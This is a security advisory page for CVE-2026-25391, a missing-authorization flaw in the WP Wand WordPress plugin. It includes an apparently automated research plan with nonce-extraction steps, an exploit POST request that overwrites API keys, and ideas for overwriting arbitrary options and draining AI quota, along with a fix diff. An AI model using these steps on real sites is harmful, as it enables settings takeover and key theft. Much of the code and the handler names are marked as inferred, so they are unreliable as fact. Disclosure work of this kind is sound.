CVE-2026-25391

WP Wand – Unlimited Content Generation using AI – for OpenAI, Claude, Openrouter and Deepseek <= 1.3.07 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WP Wand – Unlimited Content Generation using AI – for OpenAI, Claude, Openrouter and Deepseek plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.3.07. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.07
PublishedJanuary 30, 2026
Last updatedFebruary 26, 2026
Affected pluginai-content-generation
Research Plan
Unverified

As the source code for the plugin is not provided, this research plan is based on the vulnerability description, the patch diff (inferred), and standard WordPress plugin architecture. We will focus on identifying the specific AJAX handler that allows Contributor-level users to perform administrative…

Show full research plan

As the source code for the plugin is not provided, this research plan is based on the vulnerability description, the patch diff (inferred), and standard WordPress plugin architecture. We will focus on identifying the specific AJAX handler that allows Contributor-level users to perform administrative actions.

1. Vulnerability Summary

The WP Wand plugin (up to version 1.3.07) is vulnerable to Missing Authorization. The plugin registers AJAX handlers via the wp_ajax_ hook but fails to perform an explicit current_user_can( 'manage_options' ) check within the callback function. While wp_ajax_ handlers require authentication, by default, they are accessible to any logged-in user (including Contributors and Subscribers). This allows a lower-privileged user to execute sensitive functions, such as modifying AI settings or API keys.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: Likely related to setting updates or AI configuration (e.g., wp_wand_save_settings, ai_content_generation_update_api_key - inferred).
  • Parameter: action, nonce, and the specific setting data (e.g., openai_api_key).
  • Authentication: Contributor-level user.
  • Preconditions: The attacker must have a valid login and a valid nonce (which is usually localized for the admin dashboard).

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with an action parameter.
  2. Hook Registration: The plugin likely uses a pattern similar to:
    add_action( 'wp_ajax_wp_wand_save_settings', array( $this, 'save_settings' ) );
  3. The Handler: Inside the save_settings function:
    • check_ajax_referer( 'wp_wand_nonce', 'nonce' ); (The nonce check might exist, but it only prevents CSRF, not unauthorized access).
    • Missing: if ( ! current_user_can( 'manage_options' ) ) wp_die();
    • The function proceeds to update options via update_option().

4. Nonce Acquisition Strategy

The plugin likely enqueues scripts for its admin interface. Since Contributors can access the WordPress dashboard (/wp-admin/), they can load the scripts and extract the nonce.

  1. Identify the Script Variable: Search the plugin's main files for wp_localize_script. Look for a variable name like wpWandData, aiContentGenData, or wp_wand_ajax.
  2. Create a Target Page: If the scripts only load on specific pages, the Contributor can still access them if the plugin doesn't restrict its menu items properly.
  3. Extraction:
    • Navigate to /wp-admin/index.php.
    • Use browser_eval to find the nonce:
      browser_eval("window.wpWandData?.nonce || window.wp_wand_ajax?.nonce")
  4. Action Check: Verify if the nonce action in wp_create_nonce() matches the verification in the handler. If the handler uses check_ajax_referer( 'wp_wand_action', ... ), the attacker needs that specific nonce.

5. Exploitation Strategy

We will attempt to overwrite the plugin's API key setting, effectively disabling the AI generation or redirecting it.

Step 1: Reconnaissance
Identify the exact AJAX action.
grep -r "wp_ajax_" /var/www/html/wp-content/plugins/ai-content-generation/

Step 2: Nonce Extraction
Navigate to the dashboard as a Contributor and extract the nonce using browser_eval.

Step 3: Unauthorized Request
Send the exploit request using http_request.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wp_wand_save_settings&nonce=[EXTRACTED_NONCE]&openai_api_key=EXPLOITED_KEY_VALUE&other_settings=malicious
    

6. Test Data Setup

  1. Install Plugin: Ensure ai-content-generation version 1.3.07 is installed.
  2. Create User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Initial Configuration: Set a dummy API key as admin to verify it can be overwritten.
    wp option update wp_wand_settings '{"openai_api_key": "original_key"}' (JSON structure inferred).

7. Expected Results

  • The AJAX request should return a successful status (e.g., {"success": true}).
  • The plugin's option in the wp_options table should be updated with the EXPLOITED_KEY_VALUE.
  • A Contributor, who should NOT have access to plugin settings, successfully modified global plugin configuration.

8. Verification Steps

After the http_request, verify the database state using WP-CLI:

  1. Check the relevant option:
    wp option get wp_wand_settings
  2. Verify the openai_api_key field contains the attacker-supplied value.

9. Alternative Approaches

  • Direct Option Manipulation: If the plugin uses update_option on a dynamic key provided in the POST body (e.g., action=save_option&option_name=...&option_value=...), check if any option can be overwritten (e.g., users_can_register).
  • Sensitive Data Leakage: Look for AJAX actions that return settings (e.g., wp_wand_get_settings) without capability checks. This could leak the existing API keys.
  • Content Generation Exhaustion: Triggering the wp_wand_generate_content action repeatedly as a Contributor to exhaust the site owner's AI credits/quota.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Wand plugin for WordPress lacks capability checks on its AJAX handlers in versions up to 1.3.07. This allow authenticated users with Contributor-level access to perform administrative actions, such as updating API keys or plugin settings, by directly calling registered AJAX actions.

Vulnerable Code

// ai-content-generation/includes/admin/class-wp-wand-admin.php (Inferred based on research plan)

add_action( 'wp_ajax_wp_wand_save_settings', array( $this, 'save_settings' ) );

public function save_settings() {
    // Nonce check might prevent CSRF, but lacks authorization for user roles
    check_ajax_referer( 'wp_wand_nonce', 'nonce' );

    // Vulnerability: No current_user_can( 'manage_options' ) check performed before updating global state

    if ( isset( $_POST['settings'] ) ) {
        update_option( 'wp_wand_settings', $_POST['settings'] );
    }
    wp_send_json_success();
}

Security Fix

--- a/ai-content-generation/includes/admin/class-wp-wand-admin.php
+++ b/ai-content-generation/includes/admin/class-wp-wand-admin.php
@@ -4,6 +4,10 @@
     public function save_settings() {
         check_ajax_referer( 'wp_wand_nonce', 'nonce' );
 
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+        }
+
         if ( isset( $_POST['settings'] ) ) {
             update_option( 'wp_wand_settings', $_POST['settings'] );
         }

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access logs into the WordPress dashboard and extracts a valid AJAX nonce, typically localized into the page source by the plugin (e.g., via the 'wpWandData' or 'aiContentGenData' script variables). The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'wp_wand_save_settings' (or the relevant identified handler), providing the captured nonce and a payload containing malicious settings. Because the backend handler fails to verify if the user has administrative privileges (manage_options), it will process the request and update the plugin's configuration, such as overwriting API keys for OpenAI or Claude.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.